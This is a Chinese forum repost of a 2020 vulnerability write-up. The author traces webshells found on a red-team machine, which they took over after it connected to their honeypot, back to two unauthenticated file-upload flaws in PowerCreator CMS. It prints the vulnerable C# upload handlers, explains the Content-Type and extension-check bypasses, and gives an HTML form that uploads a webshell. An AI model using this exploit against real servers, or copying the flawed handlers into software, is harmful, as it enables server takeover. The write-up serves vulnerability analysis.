搜索

[21450] 2020-11-27_从蜜罐上线到1day发现

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-11-27_从蜜罐上线到1day发现 从 蜜 罐 上 线 到 1 d a y 发 现 转 自   H A C K 之 道   L e m o n S e c   2 0 2 0 - 1 1 - 2 7 前 言 前 言 2 0 2 0 某 网 行 动 期 间 ， 深 夜 难 眠 ， 回 想 起 今 天 w a f 上 一 大 堆 误 报 和 寥 寥 无 几 的 告 警 ， 甲 方 爸 爸 提 供 的 两 荤 一 素 已 经 换 成 了 白 粥 榨 菜 ， 农 夫 已 经 换 成 了 怡 宝 ， 猪 肉 换 成 了 榨 菜 ， 或 许 我 们 是 时 长 一 个 月 实 习 生 的 身 份 ， 已 经 彻 底 暴 露 了 ， 明 天 不 知 道 是 不 是 只 能 吃 开 水 泡 面 了 。 唉 ， 明 天 又 要 穿 上 白 衬 衫 ，   继 续 假 装 自 己 是 5 年 工 作 经 验 的 安 全 专 家 ， 今 晚 终 于 认 清 现 实 ， 活 捉 红 队 0 d a y 依 然 是 我 们 遥 不 可 及 的 梦 。 生 而 为 人 ， 我 很 抱 歉 。 突 然 叮 咚 一 声 ， s e r v e r 酱 提 示 C S 有 人 上 线 了 ， 之 前 的 悲 伤 已 经 烟 消 云 散 ， C S 上 号 一 看 ， 是 一 台 红 队 机 器 ， 有 人 踩 了 蜜 罐 哈 哈 。 做 好 权 限 维 持 以 后 开 始 翻 他 的 文 件 （ 坏 笑 ） 。 在 这 个 人 的 冰 蝎 里 发 现 了 多 个 s h e l l ， 其 中 有 两 个 w e b s h e l l 的 路 径 比 较 特 别 ， 引 起 了 我 的 注 意 ， 遂 进 行 了 一 波 分 析 ， 虽 然 我 无 法 活 捉 红 队 的 0 d a y ， 但 是 经 过 努 力 ， 成 功 分 析 出 了 一 个 1 d a y 。 分 析 分 析 这 两 个 w e b s h e l l 是 这 样 的 h t t p : / / x x x . x x x . x x x . x x x / R e s o u r c e P i c / M Q = = . A S P X h t t p : / / x x x . x x x . x x x . x x x / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / 4 8 5 b 1 b 7 1 - 8 0 3 5 - 4 4 c 1 - 9 c e b - 6 3 7 c d 6 8 e d a 1 9 . A S P X 打 开 这 两 个 站 点 ， 发 现 都 是 P o w e r C r e a t o r   C M S 这 一 框 架 ， 如 果 排 除 是 通 过 弱 口 令 进 入 的 后 台 ， 在 后 台 上 传 g e t s h e l l 等 可 能 外 ， 应 该 是 使 用 任 意 文 件 上 传 漏 洞 进 行 攻 击 的 。
在 互 联 网 上 进 行 了 一 通 搜 索 ， 并 没 有 发 现 这 个 C M S 的 任 意 文 件 上 传 p a y l o a d ， 但 是 在 C N V D 中 发 现 了 关 于 这 个 C M S 的 漏 洞 描 述 C N V D - 2 0 1 7 - 0 7 2 9 0 ， 漏 洞 描 述 ： P o w e r C r e a t o r   C M S 存 在 任 意 文 件 上 传 漏 洞 ， 该 漏 洞 源 于 C M S 编 辑 器 未 对 文 件 上 传 做 任 何 校 验 ， 允 许 攻 击 者 利 用 漏 洞 上 传 任 意 格 式 文 件 ， 获 得 服 务 器 控 制 权 。 C N V D - 2 0 1 9 - 4 3 5 9 8 ， 漏 洞 描 述 ： P o w e r C r e a t o r   C M S 存 在 文 件 上 传 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 获 取 网 站 服 务 器 控 制 权 注 意 到 C N V D - 2 0 1 7 - 0 7 2 9 0 是 C M S 编 辑 器 插 件 的 漏 洞 ， 而 C N V D - 2 0 1 9 - 4 3 5 9 8 是 C M S 自 身 的 漏 洞 ， 厂 商 均 未 提 供 修 复 方 案 ， 那 么 看 来 ， 是 通 杀 全 部 系 统 了
编 辑 器 任 意 文 件 上 传 编 辑 器 任 意 文 件 上 传 根 据 描 述 ， 是 编 辑 器 的 漏 洞 ， 查 看 源 码 发 现 该 C M S 采 用 了 k i n d e d i t o r 编 辑 器 ， 该 编 辑 器 存 在 任 意 文 件 上 传 漏 洞 因 为 这 个 是 烂 大 街 的 东 西 ， 关 于 对 k i n d e d i t o r 编 辑 器 任 意 文 件 上 传 的 分 析 文 章 网 上 一 搜 一 大 堆 ， 因 此 这 里 就 略 了 。 另 外 经 过 复 现 发 现 ， 只 能 传 t x t 和 h t m l ， 不 能 传 a s p x ， 很 鸡 肋 。 第 一 处 任 意 文 件 上 传 漏 洞 第 一 处 任 意 文 件 上 传 漏 洞 U p l o a d R e s o u r c e P i c . a s h x
根 据 发 现 的 两 个 s h e l l ， 很 明 显 s h e l l 的 命 名 不 是 通 过 k i n d e d i t o r 编 辑 器 上 传 的 ， 一 定 是 通 过 其 他 的 方 法 上 传 上 去 的 ， 那 么 我 们 来 分 析 一 下 漏 洞 到 底 在 哪 呢 ？ 查 找 具 有 上 传 功 能 的 点 ， 发 现 了 u p l o a d 目 录 里 全 是 上 传 功 能 文 件 再 结 合 第 一 个 w e b s h e l l 路 径 ： 第 一 个 s h e l l ： h t t p : / / x x x . x x x . x x x . x x x / R e s o u r c e P i c / M Q = = . A S P X 根 据 这 个 R e s o u r c e P i c 目 录 ， 发 现 是 上 传 功 能 目 录 下 U p l o a d R e s o u r c e P i c . a s h x 这 样 一 个 文 件 上 传 后 保 存 的 位 置 ， 对 其 进 行 代 码 审 计 < % @   W e b H a n d l e r   L a n g u a g e = " C # "   C l a s s = " U p l o a d R e s o u r c e P i c "   % > u s i n g   S y s t e m ; u s i n g   S y s t e m . W e b ; p u b l i c   c l a s s   U p l o a d R e s o u r c e P i c   :   I H t t p H a n d l e r {         p u b l i c   v o i d   P r o c e s s R e q u e s t ( H t t p C o n t e x t   c o n t e x t )         {                 c o n t e x t . R e s p o n s e . C o n t e n t T y p e   =   " t e x t / p l a i n " ;                 s t r i n g   r i d   =   c o n t e x t . R e q u e s t [ " R e s o u r c e I D " ]   ? ?   s t r i n g . E m p t y ;                 i f   ( ! s t r i n g . I s N u l l O r E m p t y ( r i d ) )                 {                         i f   ( c o n t e x t . R e q u e s t . F i l e s . C o u n t   >   0 )                         {                                 H t t p P o s t e d F i l e   f i l e   =   c o n t e x t . R e q u e s t . F i l e s [ 0 ] ;                                 s t r i n g   U r l   =   P o w e r C r e a t o r . M e d i a S e r v e r . P u b l i c C l a s s . W e b U t i l s . W e b R o o t   +  
" / R e s o u r c e P i c / " ;                                 s t r i n g   P a t h   =   c o n t e x t . S e r v e r . M a p P a t h ( U r l ) ;                                 i f   ( S y s t e m . I O . D i r e c t o r y . E x i s t s ( P a t h )   = =   f a l s e )                                 {                                         S y s t e m . I O . D i r e c t o r y . C r e a t e D i r e c t o r y ( P a t h ) ;                                 }                                 s t r i n g   e x t   =   f i l e . F i l e N a m e . S u b s t r i n g ( f i l e . F i l e N a m e . L a s t I n d e x O f ( ' . ' ) ) . T o U p p e r ( ) ;                                 i f   ( f i l e . C o n t e n t T y p e   ! =   " i m a g e / j p e g " )                                 {                                         c o n t e x t . R e s p o n s e . W r i t e ( - 2 ) ;                                 }                                 e l s e                                 {                                         s t r i n g   n e w F i l e N a m e   =   P o w e r C r e a t o r . M e d i a S e r v e r . P u b l i c C l a s s . B a s e 6 4 . E n c o d e ( r i d )   +   e x t ;                                         f i l e . S a v e A s ( P a t h   +   n e w F i l e N a m e ) ;                                         c o n t e x t . R e s p o n s e . W r i t e ( n e w F i l e N a m e ) ;                                 }                         }                         e l s e                         {                                 c o n t e x t . R e s p o n s e . W r i t e ( - 1 ) ;                         }                 }                 e l s e                 {                         c o n t e x t . R e s p o n s e . W r i t e ( " 参 数 错 误 " ) ;                 }                 c o n t e x t . R e s p o n s e . E n d ( ) ;         }         p u b l i c   b o o l   I s R e u s a b l e         {                 g e t
                g e t                 {                         r e t u r n   f a l s e ;                 }         } } 代 码 逻 辑 及 漏 洞 如 图 所 示 ：
根 据 上 面 的 分 析 ， 其 实 漏 洞 的 关 键 点 就 是 上 传 接 口 未 授 权 访 问 可 以 直 接 进 行 上 传 操 作 ， 存 在 一 个 C o n t e n t - T y p e 为 i m a g e / j p e g 的 判 断 ， 另 外 需 要 注 意 的 是 传 递 一 个 R e s o u r c e I D 变 量 才 能 成 功 进 入 到 上 传 逻 辑 。 直 接 访 问 ， 没 传 递 r i d 变 量 ， 回 显 参 数 错 误 ， 因 此 上 传 接 口 前 面 没 有 任 何 校 验 ， 可 以 直 接 进 行 文 件 上 传 操 作 给 r i d 变 量 赋 个 值 ， 也 即 任 意 使 用 g e t 方 法 或 者 p o s t 方 法 传 递 R e s o u r c e I D 变 量 ， 但 是 由 于 不 存 在 文 件 上 传 操 作 ， 报 文 类 型 不 符 合 m u l t i p a r t / f o r m - d a t a 规 范 ， 因 此 返 回 - 1 那 么 只 要 本 地 构 造 一 个 上 传 表 单 ， 在 上 传 的 时 候 将 C o n t e n t - T y p e 改 成 i m a g e / j p e g ， 就 可 以 进 行 任 意 文 件 上 传 ， 上 传 过 后 文 件 命 会 是 R e s o u r c e I D 变 量 的 值 进 行 b a s e 6 4 编 码 + 上 传 文 件 的 扩 展 名 本 地 构 造 表 单 < f o r m   a c t i o n = " h t t p : / / x x x . x x x . x x x . x x x / u p l o a d / U p l o a d R e s o u r c e P i c . a s h x ? R e s o u r c e I D = 1 "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   m e t h o d = " P O S T " > < i n p u t   t y p e = " f i l e "   c l a s s = " f i l e 1 "   n a m e = " f i l e 1 "   / > < b u t t o n   t y p e = " s u b m i t "   c l a s s = " b u t 1 " > 上 传 < / b u t t o n > < / f o r m > 改 一 个 C o n t e n t - T y p e 为 i m a g e / j p e g ， 即 可 成 功 g e t s h e l l
第 二 处 任 意 文 件 上 传 漏 洞 第 二 处 任 意 文 件 上 传 漏 洞 u p l o a d C o u r s e P i c . a s h x 接 下 来 还 有 一 个 w e b s h e l l ， h t t p : / / x x x . x x x . x x x . x x x / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / 4 8 5 b 1 b 7 1 - 8 0 3 5 - 4 4 c 1 - 9 c e b - 6 3 7 c d 6 8 e d a 1 9 . A S P X 一 样 的 思 路 ， 找 哪 个 功 能 函 数 可 以 上 传 到 / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / 目 录 ， 发 现 是 u p l o a d C o u r s e P i c . a s h x < % @   W e b H a n d l e r   L a n g u a g e = " C # "   C l a s s = " u p l o a d C o u r s e P i c "   % > u s i n g   S y s t e m ; u s i n g   S y s t e m . W e b ; p u b l i c   c l a s s   u p l o a d C o u r s e P i c   :   I H t t p H a n d l e r {         p u b l i c   v o i d   P r o c e s s R e q u e s t ( H t t p C o n t e x t   c o n t e x t )         {                 c o n t e x t . R e s p o n s e . C o n t e n t T y p e   =   " t e x t / p l a i n " ;                 s t r i n g   d e l F i l e N a m e   =   c o n t e x t . R e q u e s t [ " f i l e N a m e " ] ;                 s t r i n g   C o u r s e I D   =   c o n t e x t . R e q u e s t [ " C o u r s e I D " ] ;                 i f   ( ! s t r i n g . I s N u l l O r E m p t y ( C o u r s e I D ) )                 {                         i f   ( d e l F i l e N a m e   = =   n e w   P o w e r C r e a t o r . M e d i a S e r v e r . C o u r s e . L o g i c . C o u r s e ( ) . L o a d ( i n t . P a r s e ( C o u r s e I D ) ) . P i c P a t h )
                                d e l F i l e N a m e   =   " " ;                 }                 i f   ( ! s t r i n g . I s N u l l O r E m p t y ( d e l F i l e N a m e ) )                 {                         t r y                         {                                 S y s t e m . I O . F i l e . D e l e t e ( c o n t e x t . S e r v e r . M a p P a t h ( d e l F i l e N a m e ) ) ;                         }                         c a t c h   ( E x c e p t i o n   e )   {   }                 }                 i f   ( c o n t e x t . R e q u e s t . F i l e s . C o u n t   >   0 )                 {                         H t t p P o s t e d F i l e   f i l e   =   c o n t e x t . R e q u e s t . F i l e s [ 0 ] ;                         s t r i n g   U r l   =   P o w e r C r e a t o r . M e d i a S e r v e r . P u b l i c C l a s s . W e b U t i l s . W e b R o o t   +   " / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / " ;                         s t r i n g   P a t h   =   c o n t e x t . S e r v e r . M a p P a t h ( U r l ) ;                         i f   ( S y s t e m . I O . D i r e c t o r y . E x i s t s ( P a t h )   = =   f a l s e )                         {                                 S y s t e m . I O . D i r e c t o r y . C r e a t e D i r e c t o r y ( P a t h ) ;                         }                         s t r i n g   e x t   =   f i l e . F i l e N a m e . S u b s t r i n g ( f i l e . F i l e N a m e . L a s t I n d e x O f ( ' . ' ) ) . T o U p p e r ( ) ;                         i f   ( ! " . P N G . J P G " . C o n t a i n s ( e x t ) )                         {                                 c o n t e x t . R e s p o n s e . W r i t e ( - 2 ) ;                         }                         s t r i n g   n e w F i l e N a m e   =   G u i d . N e w G u i d ( ) . T o S t r i n g ( )   +   e x t ;                         f i l e . S a v e A s ( P a t h   +   n e w F i l e N a m e ) ;                         c o n t e x t . R e s p o n s e . W r i t e ( U r l   +   n e w F i l e N a m e ) ;                 }                 e l s e                 {                         c o n t e x t . R e s p o n s e . W r i t e ( - 1 ) ;                 }         }
        p u b l i c   b o o l   I s R e u s a b l e         {                 g e t                 {                         r e t u r n   f a l s e ;                 }         } } 前 面 一 部 分 代 码 做 了 一 个 文 件 删 除 的 操 作 ， 没 什 么 用 ， 重 点 在 2 8 行 开 始 ， 分 析 如 下 ： 漏 洞 原 因 在 于 ： 如 果 没 有 通 过 扩 展 名 为 图 片 的 判 断 的 话 ， 会 返 回 - 2 ， 但 是 返 回 以 后 程 序 并 没 有 退 出 或 跳 过 文 件 上 传 操 作 ， 依 然 进 行 了 文 件 上 传 操 作 。 我 真 是 没 想 明 白 ， 开 发 做 了 这 一 步 判 断 的 目 的 是 什 么 。 。 。 。 。 。 。 。 那 么 p a y l o a d 的 构 造 就 很 简 单 了 ， 直 接 对 着 u p l o a d C o u r s e P i c . a s h x 接 口 发 一 个 m u l t i p a r t / f o r m - d a t a 规 范 报 文 ， 无 需 任 何 绕 过
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理